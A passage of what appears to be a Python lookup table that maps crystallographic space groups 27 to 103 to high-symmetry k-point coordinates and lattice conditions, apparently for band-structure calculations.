[0.0, 0.5, 0.5], "X": [0.5, 0.0, 0.0], "U": [0.5, 0.0, 0.5], "S": [0.5, 0.5, 0.0], "R": [0.5, 0.5, 0.5] }, ] }, 27: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "Y": [0.0, 0.5, 0.0], "T": [0.0, 0.5, 0.5], "X": [0.5, 0.0, 0.0], "U": [0.5, 0.0, 0.5], "S": [0.5, 0.5, 0.0], "R": [0.5, 0.5, 0.5] }, ] }, 28: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "Y": [0.0, 0.5, 0.0], "T": [0.0, 0.5, 0.5], "X": [0.5, 0.0, 0.0], "U": [0.5, 0.0, 0.5], "S": [0.5, 0.5, 0.0], "R": [0.5, 0.5, 0.5] }, ] }, 29: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "Y": [0.0, 0.5, 0.0], "T": [0.0, 0.5, 0.5], "X": [0.5, 0.0, 0.0], "U": [0.5, 0.0, 0.5], "S": [0.5, 0.5, 0.0], "R": [0.5, 0.5, 0.5] }, ] }, 30: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "Y": [0.0, 0.5, 0.0], "T": [0.0, 0.5, 0.5], "X": [0.5, 0.0, 0.0], "U": [0.5, 0.0, 0.5], "S": [0.5, 0.5, 0.0], "R": [0.5, 0.5, 0.5] }, ] }, 31: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "Y": [0.0, 0.5, 0.0], "T": [0.0, 0.5, 0.5], "X": [0.5, 0.0, 0.0], "U": [0.5, 0.0, 0.5], "S": [0.5, 0.5, 0.0], "R": [0.5, 0.5, 0.5] }, ] }, 32: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "Y": [0.0, 0.5, 0.0], "T": [0.0, 0.5, 0.5], "X": [0.5, 0.0, 0.0], "U": [0.5, 0.0, 0.5], "S": [0.5, 0.5, 0.0], "R": [0.5, 0.5, 0.5] }, ] }, 33: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "Y": [0.0, 0.5, 0.0], "T": [0.0, 0.5, 0.5], "X": [0.5, 0.0, 0.0], "U": [0.5, 0.0, 0.5], "S": [0.5, 0.5, 0.0], "R": [0.5, 0.5, 0.5] }, ] }, 34: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "Y": [0.0, 0.5, 0.0], "T": [0.0, 0.5, 0.5], "X": [0.5, 0.0, 0.0], "U": [0.5, 0.0, 0.5], "S": [0.5, 0.5, 0.0], "R": [0.5, 0.5, 0.5] }, ] }, 35: { "cond": cond_a_lt_b, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "Y": [0.5, 0.5, 0.0], "T": [0.5, 0.5, 0.5], "S": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5] }, { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "Y": [-0.5, 0.5, 0.0], "T": [-0.5, 0.5, 0.5], "S": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5] }, ] }, 36: { "cond": cond_a_lt_b, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "Y": [0.5, 0.5, 0.0], "T": [0.5, 0.5, 0.5], "S": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5] }, { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "Y": [-0.5, 0.5, 0.0], "T": [-0.5, 0.5, 0.5], "S": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5] }, ] }, 37: { "cond": cond_a_lt_b, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "Y": [0.5, 0.5, 0.0], "T": [0.5, 0.5, 0.5], "S": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5] }, { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "Y": [-0.5, 0.5, 0.0], "T": [-0.5, 0.5, 0.5], "S": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5] }, ] }, 38: { "cond": cond_a_lt_b, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Y": [0.5, 0.5, 0.0], "Z": [0.0, 0.0, 0.5], "T": [0.5, 0.5, 0.5], "S": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5] }, { "GM": [0.0, 0.0, 0.0], "Y": [-0.5, 0.5, 0.0], "Z": [0.0, 0.0, 0.5], "T": [-0.5, 0.5, 0.5], "S": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5] }, ] }, 39: { "cond": cond_a_lt_b, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Y": [0.5, 0.5, 0.0], "T": [0.5, 0.5, 0.5], "Z": [0.0, 0.0, 0.5], "S": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5] }, { "GM": [0.0, 0.0, 0.0], "Y": [-0.5, 0.5, 0.0], "T": [-0.5, 0.5, 0.5], "Z": [0.0, 0.0, 0.5], "S": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5] }, ] }, 40: { "cond": cond_a_lt_b, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Y": [0.5, 0.5, 0.0], "T": [0.5, 0.5, 0.5], "Z": [0.0, 0.0, 0.5], "S": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5] }, { "GM": [0.0, 0.0, 0.0], "Y": [-0.5, 0.5, 0.0], "T": [-0.5, 0.5, 0.5], "Z": [0.0, 0.0, 0.5], "S": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5] }, ] }, 41: { "cond": cond_a_lt_b, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Y": [0.5, 0.5, 0.0], "T": [0.5, 0.5, 0.5], "Z": [0.0, 0.0, 0.5], "S": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5] }, { "GM": [0.0, 0.0, 0.0], "Y": [-0.5, 0.5, 0.0], "T": [-0.5, 0.5, 0.5], "Z": [0.0, 0.0, 0.5], "S": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5] }, ] }, 42: { "cond": cond_abc_invsq, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.5, 0.5, 0.0], "T": [1.0, 0.5, 0.5], "Y": [0.5, 0.0, 0.5] }, { "GM": [0.0, 0.0, 0.0], "Z": [0.5, 0.5, 1.0], "T": [0.0, 0.5, 0.5], "Y": [0.5, 0.0, 0.5] }, { "GM": [0.0, 0.0, 0.0], "Z": [0.5, 0.5, 0.0], "T": [0.0, 0.5, 0.5], "Y": [0.5, 0.0, 0.5] }, ] }, 43: { "cond": cond_abc_invsq, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.5, 0.5, 0.0], "T": [1.0, 0.5, 0.5], "Y": [0.5, 0.0, 0.5] }, { "GM": [0.0, 0.0, 0.0], "Z": [0.5, 0.5, 1.0], "T": [0.0, 0.5, 0.5], "Y": [0.5, 0.0, 0.5] }, { "GM": [0.0, 0.0, 0.0], "Z": [0.5, 0.5, 0.0], "T": [0.0, 0.5, 0.5], "Y": [0.5, 0.0, 0.5] }, ] }, 44: { "cond": cond_max_bc_noneq_left, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "X": [0.5,-0.5, 0.5], "T": [0.0, 0.0, 0.5], "W": [0.25,0.25,0.25], "S": [0.5, 0.0, 0.0], "R": [0.0, 0.5, 0.0] }, { "GM": [0.0, 0.0, 0.0], "X": [0.5, 0.5,-0.5], "T": [0.0, 0.0, 0.5], "W": [0.25,0.25,0.25], "S": [0.5, 0.0, 0.0], "R": [0.0, 0.5, 0.0] }, ] }, 45: { "cond": cond_max_bc_noneq_left, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "X": [0.5,-0.5, 0.5], "T": [0.0, 0.0, 0.5], "W": [0.25,0.25,0.25], "S": [0.5, 0.0, 0.0], "R": [0.0, 0.5, 0.0] }, { "GM": [0.0, 0.0, 0.0], "X": [0.5, 0.5,-0.5], "T": [0.0, 0.0, 0.5], "W": [0.25,0.25,0.25], "S": [0.5, 0.0, 0.0], "R": [0.0, 0.5, 0.0] }, ] }, 46: { "cond": cond_max_bc_noneq_left, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "X": [0.5,-0.5, 0.5], "T": [0.0, 0.0, 0.5], "W": [0.25,0.25,0.25], "S": [0.5, 0.0, 0.0], "R": [0.0, 0.5, 0.0] }, { "GM": [0.0, 0.0, 0.0], "X": [0.5, 0.5,-0.5], "T": [0.0, 0.0, 0.5], "W": [0.25,0.25,0.25], "S": [0.5, 0.0, 0.0], "R": [0.0, 0.5, 0.0] }, ] }, 47: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "X": [0.5, 0.0, 0.0], "Y": [0.0, 0.5, 0.0], "Z": [0.0, 0.0, 0.5], "T": [0.0, 0.5, 0.5], "U": [0.5, 0.0, 0.5], "S": [0.5, 0.5, 0.0], "R": [0.5, 0.5, 0.5] }, ] }, 48: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "X": [0.5, 0.0, 0.0], "Y": [0.0, 0.5, 0.0], "Z": [0.0, 0.0, 0.5], "T": [0.0, 0.5, 0.5], "U": [0.5, 0.0, 0.5], "S": [0.5, 0.5, 0.0], "R": [0.5, 0.5, 0.5] }, ] }, 49: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "X": [0.5, 0.0, 0.0], "Y": [0.0, 0.5, 0.0], "Z": [0.0, 0.0, 0.5], "T": [0.0, 0.5, 0.5], "U": [0.5, 0.0, 0.5], "S": [0.5, 0.5, 0.0], "R": [0.5, 0.5, 0.5] }, ] }, 50: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "X": [0.5, 0.0, 0.0], "Y": [0.0, 0.5, 0.0], "Z": [0.0, 0.0, 0.5], "T": [0.0, 0.5, 0.5], "U": [0.5, 0.0, 0.5], "S": [0.5, 0.5, 0.0], "R": [0.5, 0.5, 0.5] }, ] }, 51: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "X": [0.5, 0.0, 0.0], "Y": [0.0, 0.5, 0.0], "Z": [0.0, 0.0, 0.5], "T": [0.0, 0.5, 0.5], "U": [0.5, 0.0, 0.5], "S": [0.5, 0.5, 0.0], "R": [0.5, 0.5, 0.5] }, ] }, 52: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "X": [0.5, 0.0, 0.0], "Y": [0.0, 0.5, 0.0], "Z": [0.0, 0.0, 0.5], "T": [0.0, 0.5, 0.5], "U": [0.5, 0.0, 0.5], "S": [0.5, 0.5, 0.0], "R": [0.5, 0.5, 0.5] }, ] }, 53: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "X": [0.5, 0.0, 0.0], "Y": [0.0, 0.5, 0.0], "Z": [0.0, 0.0, 0.5], "T": [0.0, 0.5, 0.5], "U": [0.5, 0.0, 0.5], "S": [0.5, 0.5, 0.0], "R": [0.5, 0.5, 0.5] }, ] }, 54: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "X": [0.5, 0.0, 0.0], "Y": [0.0, 0.5, 0.0], "Z": [0.0, 0.0, 0.5], "T": [0.0, 0.5, 0.5], "U": [0.5, 0.0, 0.5], "S": [0.5, 0.5, 0.0], "R": [0.5, 0.5, 0.5] }, ] }, 55: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "X": [0.5, 0.0, 0.0], "Y": [0.0, 0.5, 0.0], "Z": [0.0, 0.0, 0.5], "T": [0.0, 0.5, 0.5], "U": [0.5, 0.0, 0.5], "S": [0.5, 0.5, 0.0], "R": [0.5, 0.5, 0.5] }, ] }, 56: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "X": [0.5, 0.0, 0.0], "Y": [0.0, 0.5, 0.0], "Z": [0.0, 0.0, 0.5], "T": [0.0, 0.5, 0.5], "U": [0.5, 0.0, 0.5], "S": [0.5, 0.5, 0.0], "R": [0.5, 0.5, 0.5] }, ] }, 57: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "X": [0.5, 0.0, 0.0], "Y": [0.0, 0.5, 0.0], "Z": [0.0, 0.0, 0.5], "T": [0.0, 0.5, 0.5], "U": [0.5, 0.0, 0.5], "S": [0.5, 0.5, 0.0], "R": [0.5, 0.5, 0.5] }, ] }, 58: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "X": [0.5, 0.0, 0.0], "Y": [0.0, 0.5, 0.0], "Z": [0.0, 0.0, 0.5], "T": [0.0, 0.5, 0.5], "U": [0.5, 0.0, 0.5], "S": [0.5, 0.5, 0.0], "R": [0.5, 0.5, 0.5] }, ], "kpath": [ ["R-GM-Z-U-R-X-U-GM-X-T"], ] }, 59: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "X": [0.5, 0.0, 0.0], "Y": [0.0, 0.5, 0.0], "Z": [0.0, 0.0, 0.5], "T": [0.0, 0.5, 0.5], "U": [0.5, 0.0, 0.5], "S": [0.5, 0.5, 0.0], "R": [0.5, 0.5, 0.5] }, ] }, 60: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "X": [0.5, 0.0, 0.0], "Y": [0.0, 0.5, 0.0], "Z": [0.0, 0.0, 0.5], "T": [0.0, 0.5, 0.5], "U": [0.5, 0.0, 0.5], "S": [0.5, 0.5, 0.0], "R": [0.5, 0.5, 0.5] }, ] }, 61: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "X": [0.5, 0.0, 0.0], "Y": [0.0, 0.5, 0.0], "Z": [0.0, 0.0, 0.5], "T": [0.0, 0.5, 0.5], "U": [0.5, 0.0, 0.5], "S": [0.5, 0.5, 0.0], "R": [0.5, 0.5, 0.5] }, ] }, 62: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "X": [0.5, 0.0, 0.0], "Y": [0.0, 0.5, 0.0], "Z": [0.0, 0.0, 0.5], "T": [0.0, 0.5, 0.5], "U": [0.5, 0.0, 0.5], "S": [0.5, 0.5, 0.0], "R": [0.5, 0.5, 0.5] }, ] }, 63: { "cond": cond_a_lt_b, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Y": [0.5, 0.5, 0.0], "T": [0.5, 0.5, 0.5], "Z": [0.0, 0.0, 0.5], "S": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5] }, { "GM": [0.0, 0.0, 0.0], "Y": [-0.5, 0.5, 0.0], "T": [-0.5, 0.5, 0.5], "Z": [0.0, 0.0, 0.5], "S": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5] }, ] }, 64: { "cond": cond_a_lt_b, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Y": [0.5, 0.5, 0.0], "T": [0.5, 0.5, 0.5], "Z": [0.0, 0.0, 0.5], "S": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5] }, { "GM": [0.0, 0.0, 0.0], "Y": [-0.5, 0.5, 0.0], "T": [-0.5, 0.5, 0.5], "Z": [0.0, 0.0, 0.5], "S": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5] }, ] }, 65: { "cond": cond_a_lt_b, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Y": [0.5, 0.5, 0.0], "T": [0.5, 0.5, 0.5], "Z": [0.0, 0.0, 0.5], "S": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5], }, { "GM": [0.0, 0.0, 0.0], "Y": [-0.5, 0.5, 0.0], "T": [-0.5, 0.5, 0.5], "Z": [0.0, 0.0, 0.5], "S": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5], }, ] }, 66: { "cond": cond_a_lt_b, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Y": [0.5, 0.5, 0.0], "T": [0.5, 0.5, 0.5], "Z": [0.0, 0.0, 0.5], "S": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5] }, { "GM": [0.0, 0.0, 0.0], "Y": [-0.5, 0.5, 0.0], "T": [-0.5, 0.5, 0.5], "Z": [0.0, 0.0, 0.5], "S": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5] }, ] }, 67: { "cond": cond_a_lt_b, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Y": [0.5, 0.5, 0.0], "T": [0.5, 0.5, 0.5], "Z": [0.0, 0.0, 0.5], "S": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5] }, { "GM": [0.0, 0.0, 0.0], "Y": [-0.5, 0.5, 0.0], "T": [-0.5, 0.5, 0.5], "Z": [0.0, 0.0, 0.5], "S": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5] }, ] }, 68: { "cond": cond_a_lt_b, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Y": [0.5, 0.5, 0.0], "T": [0.5, 0.5, 0.5], "Z": [0.0, 0.0, 0.5], "S": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5] }, { "GM": [0.0, 0.0, 0.0], "Y": [-0.5, 0.5, 0.0], "T": [-0.5, 0.5, 0.5], "Z": [0.0, 0.0, 0.5], "S": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5] }, ] }, 69: { "cond": cond_abc_invsq, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "T": [1.0, 0.5, 0.5], "Z": [0.5, 0.5, 0.0], "Y": [0.5, 0.0, 0.5], "L": [0.5, 0.5, 0.5] }, { "GM": [0.0, 0.0, 0.0], "T": [0.0, 0.5, 0.5], "Z": [0.5, 0.5, 1.0], "Y": [0.5, 0.0, 0.5], "L": [0.5, 0.5, 0.5] }, { "GM": [0.0, 0.0, 0.0], "T": [0.0, 0.5, 0.5], "Z": [0.5, 0.5, 0.0], "Y": [0.5, 0.0, 0.5], "L": [0.5, 0.5, 0.5] }, ] }, 70: { "cond": cond_abc_invsq, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "T": [1.0, 0.5, 0.5], "Z": [0.5, 0.5, 0.0], "Y": [0.5, 0.0, 0.5], "L": [0.5, 0.5, 0.5] }, { "GM": [0.0, 0.0, 0.0], "T": [0.0, 0.5, 0.5], "Z": [0.5, 0.5, 1.0], "Y": [0.5, 0.0, 0.5], "L": [0.5, 0.5, 0.5] }, { "GM": [0.0, 0.0, 0.0], "T": [0.0, 0.5, 0.5], "Z": [0.5, 0.5, 0.0], "Y": [0.5, 0.0, 0.5], "L": [0.5, 0.5, 0.5] }, ] }, 71: { "cond": cond_max_bc_noneq_left, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "X": [0.5,-0.5, 0.5], "S": [0.5, 0.0, 0.0], "R": [0.0, 0.5, 0.0], "T": [0.0, 0.0, 0.5], "W": [0.25,0.25,0.25] }, { "GM": [0.0, 0.0, 0.0], "X": [0.5, 0.5,-0.5], "S": [0.5, 0.0, 0.0], "R": [0.0, 0.5, 0.0], "T": [0.0, 0.0, 0.5], "W": [0.25,0.25,0.25] }, ] }, 72: { "cond": cond_max_bc_noneq_left, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "X": [0.5,-0.5, 0.5], "S": [0.5, 0.0, 0.0], "R": [0.0, 0.5, 0.0], "T": [0.0, 0.0, 0.5], "W": [0.25,0.25,0.25] }, { "GM": [0.0, 0.0, 0.0], "X": [0.5, 0.5,-0.5], "S": [0.5, 0.0, 0.0], "R": [0.0, 0.5, 0.0], "T": [0.0, 0.0, 0.5], "W": [0.25,0.25,0.25] }, ] }, 73: { "cond": cond_max_bc_noneq_left, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "X": [0.5,-0.5, 0.5], "S": [0.5, 0.0, 0.0], "R": [0.0, 0.5, 0.0], "T": [0.0, 0.0, 0.5], "W": [0.25,0.25,0.25] }, { "GM": [0.0, 0.0, 0.0], "X": [0.5, 0.5,-0.5], "S": [0.5, 0.0, 0.0], "R": [0.0, 0.5, 0.0], "T": [0.0, 0.0, 0.5], "W": [0.25,0.25,0.25] }, ] }, 74: { "cond": cond_max_bc_noneq_left, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "X": [0.5,-0.5, 0.5], "S": [0.5, 0.0, 0.0], "R": [0.0, 0.5, 0.0], "T": [0.0, 0.0, 0.5], "W": [0.25,0.25,0.25] }, { "GM": [0.0, 0.0, 0.0], "X": [0.5, 0.5,-0.5], "S": [0.5, 0.0, 0.0], "R": [0.0, 0.5, 0.0], "T": [0.0, 0.0, 0.5], "W": [0.25,0.25,0.25] }, ] }, 75: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], "X": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5], } ] }, 76: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], "X": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5], } ] }, 77: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], "X": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5], } ] }, 78: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], "X": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5], } ] }, 79: { "cond": cond_c_lt_a, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "M": [0.5, 0.5,-0.5], "X": [0.0, 0.0, 0.5], "P": [0.25,0.25,0.25], }, { "GM": [0.0, 0.0, 0.0], "M": [-0.5, 0.5, 0.5], "X": [0.0, 0.0, 0.5], "P": [0.25,0.25,0.25], }, ] }, 80: { "cond": cond_c_lt_a, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "M": [0.5, 0.5,-0.5], "X": [0.0, 0.0, 0.5], "P": [0.25,0.25,0.25], }, { "GM": [0.0, 0.0, 0.0], "M": [-0.5, 0.5, 0.5], "X": [0.0, 0.0, 0.5], "P": [0.25,0.25,0.25], }, ] }, 81: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], "X": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5], }, ] }, 82: { "cond": cond_c_lt_a, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "M": [0.5, 0.5,-0.5], "X": [0.0, 0.0, 0.5], "P": [0.25,0.25,0.25], "PA":[-0.25,-0.25,0.75], }, { "GM": [0.0, 0.0, 0.0], "M": [-0.5, 0.5, 0.5], "X": [0.0, 0.0, 0.5], "P": [0.25,0.25,0.25], "PA":[-0.25,-0.25,0.75], }, ] }, 83: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "X": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], } ] }, 84: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "X": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], } ] }, 85: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "X": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], } ] }, 86: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "X": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], } ] }, 87: { "cond": cond_c_lt_a, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "M": [0.5, 0.5,-0.5], "X": [0.0, 0.0, 0.5], "P": [0.25,0.25,0.25], "N": [0.0, 0.5, 0.0], }, { "GM": [0.0, 0.0, 0.0], "M": [-0.5, 0.5, 0.5], "X": [0.0, 0.0, 0.5], "P": [0.25,0.25,0.25], "N": [0.0, 0.5, 0.0], }, ] }, 88: { "cond": cond_c_lt_a, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "M": [0.5, 0.5,-0.5], "X": [0.0, 0.0, 0.5], "P": [0.25,0.25,0.25], "N": [0.0, 0.5, 0.0], }, { "GM": [0.0, 0.0, 0.0], "M": [-0.5, 0.5, 0.5], "X": [0.0, 0.0, 0.5], "P": [0.25,0.25,0.25], "N": [0.0, 0.5, 0.0], }, ] }, 89: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "X": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], } ] }, 90: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "X": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], } ] }, 91: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "X": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], } ] }, 92: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "X": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], } ] }, 93: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "X": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], } ] }, 94: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "X": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], } ] }, 95: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "X": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], } ] }, 96: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "X": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], } ] }, 97: { "cond": cond_c_lt_a, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "M": [0.5, 0.5,-0.5], "X": [0.0, 0.0, 0.5], "P": [0.25,0.25,0.25], "N": [0.0, 0.5, 0.0], }, { "GM": [0.0, 0.0, 0.0], "M": [-0.5, 0.5, 0.5], "X": [0.0, 0.0, 0.5], "P": [0.25,0.25,0.25], "N": [0.0, 0.5, 0.0], }, ] }, 98: { "cond": cond_c_lt_a, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "M": [0.5, 0.5,-0.5], "X": [0.0, 0.0, 0.5], "P": [0.25,0.25,0.25], "N": [0.0, 0.5, 0.0], }, { "GM": [0.0, 0.0, 0.0], "M": [-0.5, 0.5, 0.5], "X": [0.0, 0.0, 0.5], "P": [0.25,0.25,0.25], "N": [0.0, 0.5, 0.0], }, ] }, 99: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "X": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], } ] }, 100: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "X": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], } ] }, 101: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "X": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], } ] }, 102: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 0.0], "Z": [0.0, 0.0, 0.5], "X": [0.0, 0.5, 0.0], "R": [0.0, 0.5, 0.5], "M": [0.5, 0.5, 0.0], "A": [0.5, 0.5, 0.5], } ] }, 103: { "cond": cond_any, "spPrim": [ { "GM": [0.0, 0.0, 